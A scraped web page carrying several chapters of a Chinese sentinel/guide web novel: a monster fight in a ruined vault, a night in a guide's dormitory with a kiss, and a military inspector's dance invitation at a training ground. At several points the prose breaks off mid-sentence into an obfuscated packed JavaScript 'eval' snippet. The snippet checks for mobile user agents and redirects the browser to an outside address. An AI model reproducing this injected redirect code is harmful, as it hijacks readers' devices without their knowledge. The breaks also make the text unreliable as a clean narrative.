“这里就是,那片地下保险库的最深处,那些人最后避难的地方。” 只不过,“他们”还来不及逃向这里,就已经被污染潮冲破了保险库大门,一瞬间被硬化,吞没成为庞大雕塑的一部分。 三人提着应急灯球,穿过培养舱,走向污染潮痕迹更明显的前方。 霍衔月的脑海中,自从当时,精神力触手碰撞上异形的那份记忆起,便越发清晰的那份猜测,在亲眼目睹了保险库中的情形后,便无法再去否认了。 六十余年前,在无人区的这座观测站,会突兀地第一次爆发大型污染潮,一定是有其明确原因的。 而即便是如今,军部也只是将这里封存,甚至欲盖弥彰地、建立起“二号白塔”基地,是因为至今为止,这个问题仍未得出解答。 恐怕,跟踪着纪戎,进入旧址的那名白色制服男子,只不过是一名倒霉的白塔研究员,毫无意识地被卷入了这场“事故”。 只不过,问题是,究竟是这名闯入者的“打扰”,唤醒了尚未彻底死亡的异物,还是说,是自己做的某些事情,才引发了这场意外? 霍衔月抿唇,在精神力通道中,低声提醒道: 【小心,前面的道路被风干的污染物触手环绕,可能会遇到危险。】 隗溯转过头,更靠近了青年一些,在两人私密的通道中,平静道: 【不要担心。我会保护你的。】 下一刻,保险库废墟间的三人,都察觉到了,有“什么东西”正急速靠近的声响。 一片轰然爆炸,在他们眼前,溅起了漫天的尘埃与碎片。 在声响的尽头,一道幽蓝色的深色巨蟒身影,正与巨大的明亮异形,缠斗着,击穿层层的断墙。 而接近透明的狰狞异形体内,竟隐约可以看清,半颗新鲜的人类头颅,以及被碾碎的白色碎片布料,和残缺不全的断肢。 从被撞碎的墙面之后,两名身旁围绕着白色鸟群、一手抓着只巨大鹰类飞禽的少年,叽叽喳喳地飞了上来。 双子向导看见了隗溯三人,激动万分地欢呼道: “我快要憋屈死啦,在这种地方,小鸟们根本飞不动。乔麟姐已经彻底把怪物激怒,再找不到你们,我们可就要去喂怪物肚子了。” 11. 第 11 章 隗溯明白,自己看不到,同为哨兵的乔麟的精神体巨蟒。 但他仍可以猜到,根据对方的战斗风格,如果不能一击摧毁异形,那战场就会被破坏得难以立足。 也只有借助鸟类飞行的双子向导,才能在这种状况下,勉强与她配合。 另一边,霍衔月铺展开自己全部的精神力探知,穿透尘埃与视线的阻挡,捕捉到乔麟与异形的位置。 他使用精神力通道,对众人道: 【不能让它继续逃窜到地面上去,这一只应当就是现在复苏的本体,我把它控制到保险库的方向来,然后一举摧毁它。】 为了以防,在高度集中的战斗中,干扰到对方的动作,他不曾使用精神力传音,联系乔麟与双子向导。 所以,他仍然只向着隗溯与纪戎传音。 他相信很快,只要异形调转了方向,另外三人,就会意识到他的目的。 隗溯无声点了点头,纪戎轻抚精神体狮子的鬃毛,聚精会神地准备着,接下来的对抗。 霍衔月闭上双眼,精神力触手,宛如一张密密织就的巨网,向着错综复杂的废墟深处,悄然靠近。 远处,乔麟伸手抓住一块凸起的钢筋,悬吊在废墟的半腰上,察觉到了双子向导和另外那三人的动静。 自从在中央广场,那场突如其来的冲击波后,她只来得及一手扛一只向导,尽可能地保持不被冲散开,再去与其他同伴汇合。 广场地面塌陷,她与双子向导落入了废墟更深处,暂时地失去了其他人的踪迹。 因此,她让两人放出他们的精神体,去搜寻其他的同伴。 乔麟知道,霍衔月拥有精神力通道的能力,只要度过了第一波的冲击,随时可以联系上他们,便没有对此太过担忧。 然而,她没想到,双子向导放出的精神体鸟群,没有寻出另外三人的踪迹,反倒将隧道深处,潜伏着的异形本体,给挖了出来。 随后他们便一路逃窜,直冲到了这片区域。 她从没有遇到过这样的异形怪物,“它”似乎并不拥有智力,大部分时候,也只依据本能做出攻击。 可是,有时候,乔麟却感知到,对方并不似普通的污染物那般,单纯追逐着生命,去吞噬血肉。 就好像,“它”是有着某个明确的目标,才从沉眠中苏醒,而自己,不过是阻拦它前进的麻烦人物。 忽然,吊在废墟半腰上的乔麟,在又一次避开异形的攻击,借助着巨蟒小蓝的帮助,跳跃到另一片勉强能落脚的断壁上,眯眼观望的时候。 眼前方才还十足凶狠的半透明怪物,触手的纹理一瞬间扭曲,宛如平静水面掉入一颗石子,层层的涟漪向着躯体深处蔓延。 庞然大物痛苦地挣扎着,发出极尖细的某种嘶吼声,似乎失去了攻击的方向。 乔麟神情冷肃了下来,意识到,是“有人”对它做了什么。 她转过头,看到那三人的方向,已经稍稍散开,做好了迎击的准备。 下一秒,半透明的庞然巨物,仿佛短暂地、挣脱了精神力的控制,愤怒地扭转了方向,拖动着废墟中混乱的水泥土石,开始加速奔跑。 她也奔跑了起来,从废墟的顶部,向它的目的地前进。 另一边,霍衔月的精神力密网,捕捉住了异形的意识,便将它诱导向保险库的方向,落入众人准备好的反击地点。 隗溯藏身于阴影之中。 他往常在禁区中,也并不常常放出精神体。从前,是因为他觉得,哪会有一名哨兵的精神体,是藤蔓这般扭曲柔弱的植物,他从来不曾喜欢它的模样。 而如今,在他的精神图景崩溃,就连精神体,都畸变成如此丑陋的模样,就更不希望在青年的面前,露出这一切了。 这时,霍衔月睁开了双眼,直视着几乎近在咫尺,散发出明亮红色光芒的半透明异形,对所有人传音道: 【攻击它核心的红色液体,那里是它发号施令的中枢,也是精神力最强的部位。】 所有接收到声音的哨向,都意识到了问题所在,望向庞大异形的半透明身躯。 一声尖细的嘶吼声后,怪物猛地用尽了全部的重量,用力地砸向霍衔月所在的方向。 那明亮而绚烂的红色光圈,带着迷惑人心的邪恶,能让任何普通人类,在直面这份光芒的瞬间,便被抽干生命,成为硬化的尸体。 而就在异形砸向青年的那一刹那,废墟底部,直冲而起的白色鸟群,裹着他带离了那片脆弱的落脚点。 从三个不同方向,落下的猛烈攻击,一口气刺穿了异形核心的红色液体,炸开四散的蠕动碎块。 隗溯从一片断墙的阴影之后,拔起事先准备好的连绵钢筋,团团缠住剩余挣扎的触手团块,猛地抽紧绞碎,飞溅入深深的废墟底部。 乔麟和纪戎胡乱抹去身上的血迹和脏污,终于,落在了保险库底部,那片落满了粘腻碎块的合成金属地面之上。 双子向导的白色鸟群,带着两人与霍衔月,也落了下来。 众人望向异形破碎流淌着的核心中,隐约可见的新鲜骸骨,以及一小片残缺的白色制服布料,陷入了沉重的心情。 方才在打斗中,他们便能认出,在半透明的狰狞异形体内,这部分的尸骨,不是属于数十年前,这片旧址中遗留的硬尸。 而是不知因为何种原因,在这具异形复苏的当口,成了对方养料的“某人”。 隗溯除了背部的衣物破损,身上倒是没有沾染太多污迹,踩在碎块的空隙之中,走向那片隐约可辨的白色布料。 从地面漫出的细小藤蔓枝,悄悄拨开模糊的血肉团块,露出其中,布料的原本模样。 他的神情微变,缓缓道: “这是,内塔研究所的制服样式。” 乔麟猛地抬起头,颈侧的巨蟒,微微龇牙嘶了声。 她望向霍衔月的方向,又垂眸,声音微紧: “这或许代表,从我们体内剖出的’卵’,对他们来说很重要。又或者,从一开始,他们就是这一切的原因。” 纪戎蹲下身,从一旁扯来防水布,挑出血肉模糊中,那半颗难以辨认的头颅,却神情凝重,沉声道: “这是我没见过的人。内塔研究所,是二号白塔中最机密的部分,就算是平常,给战斗部作例行检查的那些医疗官,可能也没接触过研究所的人。” 一旁的双子向导猛地击掌,提高声音道: “那就更说明有问题了。那些可怕的东西,一定是内塔研究所,偷偷通过平时的营养剂,骗过所有人,弄到我们身体里去的。” 双子哥哥点头道:“嗯,虽然不清楚,这个人是怎么潜入旧址,被异形吞噬的。但从今以后,我们所有人都要更加警惕。” 乔麟观察着地上,被搅碎的尸体模样,抬头道: “游菁、游芷,你们的鸟群,能够在不被守卫发现的情况下,潜入内塔区域吗?” 游菁与游芷是双胞胎向导的名字。 两人一愣,明白了,乔麟姐是认真的。如果这些东西,果真是白塔弄出来的,那么接下来,白塔也就变成了他们的敌人。 他们彼此对视了一眼,眼神中有怯懦,也有某种孤注一掷的决绝。 “嗯。”游菁点头,低声回答道,“我们可以做到。” 游芷握住了肩头的白鸽,担忧地看了哥哥一眼,却没有再说什么。 霍衔月望向四周,这片保险库的废墟—— 所有人都看出来了,这里藏着某些问题,而二号白塔,至今将其封存,肯定是有缘由的。 当时,他所“看”到的那些,曾经被吞噬的六十年前的记忆,现在,并不是个合适的细说时机。 而如果那名内塔研究员,是跟踪着纪戎,才闯入了这片旧址的话。 此事,也会事关纪戎如今的身体状况,他必须要单独找对方谈一谈。 霍衔月察觉到了隗溯的视线,偏头看去,却撞进了对方一眨也不眨的漆黑眸子,令他不自在地蜷起了指尖。 为什么,他要用这样的目光,看向自己? 就仿佛在那高台之下,骨节分明的那双手,牢牢地紧扣住他的腰身,随时都会收紧手臂,呼吸都仿佛变得困难那般,缠绕束缚。 混乱的记忆片段,伴随着他莫名的想象,涌上心头。 在上一世的某些时刻,当两人还是一对恋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霍衔月走在距离向导宿舍最近的通道内,在这个钟点,天色已暗,就算是靠近通道口的地方,也只能透出些许的微光,全靠灯球照明。 他已经探知明白,前面的这条通路上,暂时没有巡逻队的身影,就算有过路之人,只要用精神力,稍许干扰对方的感知,就能不被注意到。 只是,他悄悄扭头,瞥了一眼身后。 不远处,不知为何,黑发哨兵仍然默不作声地,与他同路而行——即使战斗部的住宿区,和他本该是反方向的。 终于,穿过封锁带与一道道铁丝网,呼吸到夜间的新鲜空气。 霍衔月犹豫着转过身,用两人私密的精神力通道,传音道: 【谢谢,你帮了我许多,甚至今天原本约好的训练,也没办法进行下去了。】 黑发哨兵表情很平静,回答道: 【明天也可以。明天,我会来找你。】 昏暗的夜色下,霍衔月感到浑身更古怪了,匆匆转过身,告别道: 【我要回向导宿舍了,你也要小心,不要在外面待太久。】 他扭头走过转角,来到一栋建筑物的浓重阴影之下,听到脚步声没有再靠近,微微松了一口气。 不远处,巡逻队的手电筒强光,和零星的杂乱对话声,飘散在空气中,打在凹凸不平的水泥地面上。 霍衔月走在通向宿舍的漆黑走道上,在这里,已经听不见外面的脚步声,相对安全些了。 只要走过那一边拐角,他就可以回到自己的单人宿舍,收拾完身上的东西,再也没有人会怀疑,他是否溜了出去,不曾一个下午都因为身体不适,而在宿舍休息。 他稍缓下了心神,指尖不自觉地紧扣,脑海内,今天下午废墟中那些片段,却仍是混乱地回放着。 有他睁开眼,看到的那一片明亮而璀璨的红色怪物。 也有他坐在高台之上,看着黑发哨兵的脊背后,如同狰狞的潮水般,冲天而起的漆黑藤蔓。 霍衔月微微垂眸,正要平复着思绪,快些赶回宿舍。 忽而,一双手从他的耳后,轻轻扣住了他的嘴和肩膀,将他骤然拉回了拐角后方。 12. 第 12 章 精神力一瞬间炸开,霍衔月本能地想要挣扎,那双束缚着的手,却只用了一点点力气,小心地维持着、不伤到青年的程度。 正当两人的身体,因为挣动而紧紧贴在一处,状况越发尴尬之时。 在那拐角前方,不远处,一扇宿舍门打开的声音,正传了过来。 而从门中出来的,那犹犹豫豫的脚步声,霍衔月竟然辨认出了,是属于同为新人向导的,那名圆脸青年秦眠。 为什么,秦眠会忽然走出门? 在这种到处封锁起来,巡逻队的沉沉脚步声,与手电筒强光,笼罩在白塔之中的时候,离开自己的宿舍,并不是一种寻常的情况。 霍衔月慢慢停止了挣动,屏息凝神着,用精神力悄然探知,前方的情形。 他在最初被扣住肩膀、捂住嘴巴的时候,便已经隐约感知到,自己身后的那份气息,究竟是属于谁的了。 然而,他却完全想不明白,为何,对方会出现在,向导宿舍的范围内。 不远处,推门走到长廊上的圆脸向导,脚步犹豫,最终,在某一扇门前,停了下来。 霍衔月能探知到,那扇宿舍门,是属于自己的。 如果对方此时,敲响那扇空房间的金属门,那么,自己压根就没有办法,在这种状况下,继续掩饰自己“因病休息”的状态。 他小幅度地摇了摇头,仰起脖颈,示意身后之人,可以松开他的束缚了。 阴影之下,隗溯试探着慢慢放开手,侧身靠近,黑沉的眸子注视着青年,无声询问接下来的办法。 如果要把对方打晕拖走,只要不留下痕迹,就不会令谁怀疑到霍衔月的头上。 白塔看起来不太宁静,那些巡逻队的目的,也令人琢磨不清。 霍衔月的脊背有些僵硬,不太适应如此靠近的距离,用精神力通道,慢慢回答道: 【没关系,先看情况。如果他敲门……我再考虑做些什么。】 隗溯神色微动,没有想到,青年会做出这样的回答。 他并不清楚,对方以向导的精神力,究竟能“做”到什么样的程度。 但是,难道,霍衔月对那名圆脸向导,有所怀疑吗? 就在黑发哨兵胡思乱想之际,两人感知到,那道脚步声,在空宿舍的门口,僵持停顿着,许久不曾有下一步的举动。 霍衔月的精神力探知,告诉他,秦眠在那扇门前,抬起了右手,似乎做出了准备敲门的动作。 他并不希望,仅仅因为这件小事,令白塔对自己、或是和自己交集过多的战斗部哨向,产生怀疑。 如果秦眠没有做出任何举动,那么,他便不准备用精神力做什么。 如果自己偷溜出来的事情,真的被发现,那他就只好扭曲对方的记忆,让对方忘记这回事了。 四周寂静无声。 不知过去几分钟,霍衔月感知到,圆脸向导的右手悬在门前,迟迟没有落下,最终,骤然收回手去,走回了自己房间的方向。 随着一声不轻不重的关门声,走道之上,彻底安静下来。 霍衔月紧绷的心弦,终于松懈下来,轻吐出一口气。 再抬眸,看向拐角的墙面之上,靠在自己身后的那道深色倒影,他感到方才相触的那部份肩膀,仿佛后知后觉地,热烫了起来。 外面的巡逻队灯光,仍肆虐地将整片白塔基地,照得灯火通明。 虽然他想不明白,为何隗溯会出现在此处,正好在自己,险些撞见其他向导的时候,阻拦住他的动作。 可不论如何,现在,在外面巡逻队的虎视眈眈下,对方也没有办法,就这样再回战斗部了。 霍衔月听到自己的声音微颤,压低声偏头道:“现在这里刚好没人,外面的巡逻队一直没有离开,只有我的房间可以暂躲一会儿。” 隗溯的身影半隐于黑暗之中,微乱的额发之下,黑雾般的双眸,紧紧地盯住了青年的侧脸,不发一声。 半晌,他使用着仍然有效的精神力通道,回答道: 【好啊。】 新人向导的单人宿舍,简单得几乎没有什么家具,除了一张方桌、一把椅子、配套的洗漱间,就只有那张单人床,能用来招待客人。 霍衔月靠坐在床沿,目光透过薄薄的墙面,用精神力的触手,“看”着外面来来往往的巡逻队。 不远处,是洗漱间传来的轻微水流声,他已经清理过了身上的灰尘、碎片,不过,隗溯或许要花更多一点时间。 高等级哨兵身上的伤痕,真的能如同在那片废墟中见到,对方腰间的伤势那样,迅速复原么? 不知何时,水声停止。 霍衔月回过神来,抬起头,看到另一侧的墙柱旁,黑发哨兵正抱着双臂,垂眸注视着自己。 空气中,有清新的水汽。 “或许刚才,秦眠是想要关心,我身体是否还难受,无法训练。”他指尖有些发麻,突兀地提起了方才的话题。 隗溯的目光中有几分恍惚,似乎是没记起来,这个名字究竟是谁。 霍衔月感到自己似乎有些太过慌张了,话音微顿,才转开视线,匆匆解释道: “如果不是你提醒,我或许注意不到,他会正巧从宿舍中走出来。” 黑发哨兵沉默着,轻轻笑了起来,走向另一边的床沿。 他俯身,半跪在青年的腿边,自下向上看去,身体越发僵硬的青年,正呆滞在床沿,不敢看他。 隗溯有些自嘲地,轻松道:“这对我而言,很简单便能办到。” 霍衔月似乎听出了,那话音中隐约的凝涩苦意,惊讶地转过头。 黑发哨兵的指尖收紧,不敢去触碰、那近在咫尺的清瘦膝盖,只声音微沉地,带着笑意道: “我的身体,早就变得乱七八糟了,你也看得见我的精神体,对吗?” 哪有哨兵的精神体,从体内诞生之初,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他骤然想起了,自己在最初,所定下的期限。 在偷取了“二号白塔”中,藏着的那份遗迹碎片后,他就会离开这个地方。 也就是说,他并不会一直停留下去。 霍衔月的话音未尽,却渐渐发现,方才还在笑着的黑发哨兵,低着头,额间的碎发遮掩住他全部的神情,显得沉默而安静。 余下的半句话语,也忽而,便堵在了喉咙口。 隗溯靠着墙面,抱着一侧曲起的膝盖,觉得自己,似乎真的有些疯了。 他怎么会觉得,这句话,仿佛便真的是在回答着他,心底不敢于说出口的,那抹最隐秘的心思。 就好像,只要那个人,不曾彻彻底底地憎恨着自己,还留有最后的一丝可能性。 他就足以飞蛾扑火,剖出自己所拥有的一切,去靠近那片明亮的深渊。 忽然,霍衔月看到黑发黑眸的哨兵,抬起头,望着他的那双眸子里,干净得只有那一抹漆黑的倒影。 他看到了,那双眼中的自己。 随后,他的手腕被扣在床沿,单膝跪在他腿侧的黑发哨兵,另一只手按在他的颈后,仰头触碰在他的唇上。 冰凉的触碰,转眼间向着热度的深处,变成一个近乎于献祭的温软的吻。 13. 第 13 章 青年的思考,一瞬间被这过线的触碰,所骤然停止。 贴近自己的那具身体,有着冰凉的、干净的水汽,闭上了双眸的黑发哨兵,用并不让他抗拒的力气,小心扣住他的颈侧。 温热相贴的部分,仿佛能触碰到他流动的血液,从脊骨深处,升起一种无法反抗的欲望来。 霍衔月对他的体温与湿度,太过熟悉了,就算是在他毫无意图的状况下,被清凉的唇瓣贴蹭过来,他仍只能僵硬着身躯,被夺走唇齿间所有气息。 曾经,他便不知道该如何,拒绝这个人的亲近与献身。 从上辈子最初,在联邦科学院的住宿区,捡到那名蜷缩在垃圾房边,伤痕累累的黑色长发男子。 原本只是希望,对方在包扎完伤口后,能离开这片巡逻严密的首都区,寻找生存机会。 可是从来都讨厌旁人亲近的他,却在清洗这只浑身伤痕的“流浪猫”时,被缠住了身体,在狭窄的玻璃淋浴房中,浸湿了衣物。 温热的亲吻,从他握着花洒的指尖,慢慢向下,咬住了他深色长裤的布料,撕开合金制成的拉链,将一切都搅得一团糟。 那双漆黑如雾的眸子,无声垂下眼帘,明明做着最为大胆的事情,却让霍衔月感到,若是自己用力地踢开这个人,那双眼瞳中,最后的那抹生机与光亮,就会彻底消散破碎。 为什么会发生这一切,自始至终,他都并不明白。 他只清楚,自己越来越没有办法,再将流浪猫赶出这栋空荡的别墅了。 霍衔月紧紧闭起双眼,无力挣扎的痛苦,让他的呼吸变得有些不太通畅,抬起另一只手,抵住黑发哨兵的肩头。 昏暗的单人宿舍中,漫长的吻微分,他便猛地扭过头去,向着床头蜷缩起身体,指尖还扣在隗溯黑色紧身上衣的领口,平复着呼吸。 “我没有这个意思,”他的声音在颤抖,不知自己的眼眶是不是红了,“我不是因为这个理由,才让你躲到我的房间里来的。” 他知道自己的话语,没有什么说服力。 隗溯垂下目光,胸口酸楚的疼痛,因为青年那明显抗拒的动作,而一点点蔓延到身周。 单人床上,被方才的挣动,揉皱了的冷色床单上,落下一道阴影。 黑发哨兵俯身,握住青年抵在他领口的那只手,轻轻放在自己最脆弱的喉结处。 他低声,极缓地道: “我明白。可是,我却有别的心思。 如果你讨厌我,可以只把我当作好用的工具,不论是在白塔中,你想要做的事,还是……其他任何的用处。” 他伸手环住霍衔月的脖颈,用极轻的力气,将人拥入怀中,低声笑道: “我能帮你除掉你想杀的人,拦住不想要接触的麻烦,也可以当沙包,你想要做什么,都可以在我的身上尝试,我不会痛。” 霍衔月胸膛起伏,猛地推开了身前之人。 一股无名的怒火,让他没能控制住力度,脊背撞到了床头的木柜。 可是,看到黑发哨兵被自己推开,额发微乱,靠在阴影之下,却让霍衔月指尖蜷起,慢慢地,感到了几分懊恼。 自己因为自顾自的生气,是不是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他无法拒绝这个人的话语,就好像他浓浓的憎恨,上一世、这一世,从来也不是面对眼前之人的。 他想要一个没有哨兵与向导、污染物与禁区的世界,他憎恶着变异人,可他却没有办法恨他。 自己又怎么可能,在明白了隗溯S级哨兵的身份后,眼睁睁地看着对方,因为精神力暴动,而步入痛苦与毁灭? 所以他并不后悔,上一世最终离开白塔,与隗溯分手。 或许是自己搞砸了,分明想要彻底离开这片地方,却没有办法干脆利落地,将事情解决掉,处理干净。 但这一次,他一定……会做得更好些。 昏暗的单人床边,黑发哨兵紧紧地注视着青年的神色,不愿放过些许痕迹。 当他终于看清,青年的神情之中,没有排斥与否认,就算再如何回避他的目光,仍还是给出了肯定的答复,心弦仿佛被骤然拨动了一下。 他克制住胸口更多的冲动,低声道别,从后窗跃下,顷刻间失去了踪影。 徒留下寂静的空旷宿舍之中,靠在床侧,用力蜷缩起身躯,无法平息身体热度的青年。 第二天,新人哨向聚集的一号训练场。 隗溯与纪戎等,战斗部哨兵的出现,引起了一阵不大不小的骚动。 虽然在模拟大赛的宣讲会上,新人哨向们,曾短暂地,接触过一会儿战斗部的那些人。 但之后的两天训练时间,便再没有见到战斗部的身影。 就算是当时,话题的中心,那名浅色眼眸的漂亮向导青年,也在一号训练场待的时间很短,据说是因为身体不适,而休息了大半日。 站在各处悄然目光的汇聚处,霍衔月握着精神力模拟器,觉得自己的动作有些不大自然。 他没有想到,昨天夜间,黑发哨兵说的那句话,是指要像这样,从一大早,便等候在向导宿舍的门口,陪他一起练习最基础的器械—— “明天我还能来找你吗,你愿意和我一起训练吗?” 精神力模拟器,是模拟大赛最核心的设备之一,能够隐藏使用者的精神力属性,使得对立阵营的参赛者,无法用精神力,感知到对方的真实身份。 而只有当模拟器保持有效的时候,才能算作参赛状态。 在训练场中提供的这种模拟器,是手环的形式,而在真正的大赛中,发放的是颈环型模拟器。 霍衔月戴上手环,按下开关,感觉自己周遭的世界,仿佛一瞬间,蒙上一层浅淡的迷雾,嘈杂的噪音变得空灵。 黑发哨兵微低的平静嗓音,正从迷雾的外侧,轻轻穿透而来: “不要太过在意它,它不会阻止你使用精神力,只会在你与其他人的精神力之间,隔起一道迷彩。” 霍衔月感到,对方穿着黑色紧身上衣制服的身体,在自己的肩膀左侧,笼下一片温热的阴影。 而在其他人看来,他们简直就是靠在一处,亲昵地协同训练一般。 霍衔月抬起头,看向训练精神力用的障碍物与靶子。 层层叠叠如山峦般,模拟无人区的环境,制作出的靶区内,分布着隐藏的精神力检测器。 如果精神力击中检测器,就会在一旁的面板上,显示出攻击强度。 他闭上双眼,仅仅以精神力探知前方的环境,试探着做出攻击。 靶区的电子面板,会显示在训练场,所有人的面前,他并不准备在现在,就露出自己所有的底牌。 在这里的,虽然大部分是新入白塔的哨兵、向导。但是,不久前袭击自己的那三人,一定是听从于某人的通风报信,才会在那时候,堵在一号训练场的训练室外。 有很大的可能性,现在场内的哨向中,便藏着“某些眼睛”。 但即便如此,霍衔月也并不准备,完全隐藏自己的精神力。 毕竟,他站在这里,甚至于就算再如何别扭,仍默许了隗溯站在他的身侧,在外人眼里、表现得宛如同队的搭档那般,正是为了钓出背后的那些眼睛。 不远处,站在武器架前,正状似指导其他新人模样的纪戎,戴着黑色鸭舌帽,余光始终落在两人相靠近的身影上,神色不明。 其他战斗部的哨向,也有来这里义务帮忙的。 不过,当初进入旧址的战斗部哨向,除了他和隗溯,另外几人并没有来——就算在在他们六人之间,始终都由青年的精神力,连接着精神力通道。 乔麟和双子向导,还有其他的“某些事情”,要在模拟大赛之前处理。 纪戎微微抿唇,将手中的狙·击·枪,机械麻木地拆卸又拼装起,在几人面前演示着,最终,也仍是没有用精神力通道,发出任何的传音。 忽然,在青年所在的方向上,传来一阵轻微的惊叹声。 纪戎转过头去,跟随着众人的视线,落在那片声响的焦点。 在一连排,戴着精神力模拟器,站于靶区前的向导间,有一人的电子面板上,亮起了橙红色的指示灯。 一串极高的数值,几乎擦着仪器的数据极限,显示着,攻击击中靶子。 而就算在白塔其他变异人中,这样的精神力数值,都是极为优秀的。 众人的目光,渐渐落在了电子面板旁,那名掩在某道身影之后的训练服青年身上。 霍衔月的神色平静,就算电子面板上跳出的数值,显示着他的精神力数值绝不普通,也没有露出多少惊讶的神色。 而在他的近旁,穿着战斗部黑色紧身制服的哨兵,在众人的各色目光中,伸手握住了青年的手腕,默不作声地帮对方调整着手环。 其他的哨向,即便看到了,青年的身边,似乎有着一名看似亲昵的搭档,但考虑到今晚的活动,都露出跃跃欲试的神情来。 今晚是大赛前最后一夜,而根据白塔的传统,会举办开赛宴,来增进哨向间的感情。 在宴席上,不论是否是最终参赛的搭档,都可以向一位哨兵或向导,邀请跳一支舞,作为联络感情的重要机会。 因此,即便在新人哨向聚集的一号训练场,仍有一些白塔里的“老人”,众人也对战斗部的出现,并没有太多的惊讶。 霍衔月从周遭空气中,缠绕的精神力情绪中,感知出了众人情绪的兴奋,但并没有特别在意。 忽然,从朦胧的模拟器视野之外,伸出了一只戴着白色手套的手,来到他的眼前。 隗溯的神情冷了下来,身体没有动,仍是不动声色地状似保护的模样,站在青年身侧,调整完手环的参数,才放下手来。 霍衔月抬起头,看到了一道全然陌生的身影。 身穿深蓝色制服的高挑年轻男子,将右手伸出,目光毫不偏移地落在了他的身上,似是对青年身侧,明显属于战斗部的强大哨兵,完全不在乎的模样,开口道: “你好,你愿意与我一同参加今晚的开赛宴吗?” 周遭之人,露出了些许古怪的神情,似是对那身制服出现在此处,感到惊诧与忌惮。 霍衔月听到,始终保持着的精神力通道中,纪戎的话音突然响起,带着隐隐的紧绷: 【要小心,他身上的制服,不是白塔的人,而是属于联盟军部直属的制式。】 霍衔月抿唇,用精神力通道,问道: 【军部的人,往年,也会帮助组织白塔的模拟大赛吗?】 隗溯的传音,忽而插入了他们的探讨: 【不会。变异人和军部的普通人之间,向来是泾渭分明的,他们不会靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14960281|161038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近无人区和禁区的附近。】 霍衔月关闭模拟器的开关,听到身后的窃窃私语之中,隐约有人提及,昨天的下午的巡逻队中,便夹杂了不少军部的人。 即便是他也明白,一直以来,只有关于塔外的事项,白塔才会和军部合作处理。 难道昨天的巡逻队,是和军部有关系? 浅色眸子的青年转过身,望向那名陌生男子,礼貌道: “抱歉,我还不清楚你的名字和身份,不可能立刻便同意这份邀请。” 深蓝色制服的年轻男子转头,看了一眼旁边冷冰冰的黑发哨兵,仍只是微抬起下巴,笑容温和道: “是我没有自我介绍。我是联邦军部,刑讯司所属的督查官,周锐泽。或许由我来说这句话,有些太过冲动了,但我非常希望能成为您今晚宴席上的舞伴。” 他话音落下,便引起附近,那些注意着这边的变异人哨向们,一阵莫名的动摇。 怎么会有军部的督查官,去争抢一名新人向导,甚至还堂而皇之地踏入开赛宴,就仿佛他没有将白塔的任何一名变异人,放在眼里。 更不必说,是一名看起来疑似有搭档的向导。 霍衔月抬起眸子,清清冷冷的目光,直直注视着周锐泽的瞳孔深处。 在无人注意的角落,千丝万缕的精神力触手,从他的周身,绕过四处的精神力感知器,向着对方的脑海深入。 变异人的精神图景中,藏着他们的精神体和无数的记忆碎片。 那么普通人呢?他还不太清楚,但仍然可以尝试。 霍衔月露出有些遗憾的神情,为难道: “我希望在宴会上,寻找到能够在大赛中组队的哨兵。或者,至少,希望能多接触一些未来的同伴。” 至于到底怎样,并不重要,他只是准备多拖延一会儿时间,来潜入对方的记忆而已。 听到青年明显有偏向的婉拒,周围其他观望中的哨兵们,一下子心思激动起来,想着能够获得对方的青睐。 虽然在宣讲会上,对方明显是不准备和人组队的。 可听现在青年的说法,似乎寻找一位哨兵组队的可能性,相当的大。 甚至在那话语中,还隐约表明了,在青年身旁的那名战斗部哨兵,并不是对方的搭档,或许只是追求者的其中之一。 周锐泽忽而笑了出来,泪花挂在了眼尾,捧腹笑着,似乎并没有因为青年的婉拒,而影响他的心情分毫。 他偏过头,视线落在隗溯的身上,开怀道: “往后,我也会是你们的同伴了。因为一些原因,联邦军部派遣我们,驻扎二号白塔,在大赛结束之前,共同负责人类的安全。 所以实际上,比起某些满脑子筋肉的哨兵,我会更适合成为你的舞伴,尤其是,如你这般漂亮清冷的向导。” 霍衔月注视着对方军装制服帽檐之下,那双阴影中的眸子,露出一抹浅淡的微笑。 精神力触手连接着对方的眼瞳,似乎普通人类的记忆,也没有那么难以入侵。 他看到了,在这个人的记忆表层,有一张通缉令。 通缉令上的照片很模糊,看不清男女。下面记录着的信息,密密麻麻的,粗一扫过,隐约只能捕捉到“反叛军”、“偷取”等字眼。 而在这个人进入白塔前,位于联邦军部的总部大楼,与某些人交谈的记忆碎片,显示出,他很有可能,是跟随追捕班而来,为了获取某些重要信息。 是什么人,逃进二号白塔里来了吗? 霍衔月将那些尚未解密的记忆碎片,暂时打包带走,抽出了精神力触手。 方才这个人说的话,他听到了,他该截取的记忆信息,也已经取完了。 也就是说,这个人现在对他而言,已经没用了。 浅色眸子的青年微笑着,在所有人惊诧的视线下,面对军装男子堪称露骨的言语,清清淡淡道: “抱歉,但是你的长相,若是作为我的舞伴,还是让人太没有胃口了,所以我拒绝。” 15. 第 15 章 军装制服的高挑男人,神情猛地一变。 那只戴着白手套的右手,伸向面前青年的领口,就要触碰到那片训练服布料。 忽而,他的手臂被人重重握住,截住了他激烈的动作。 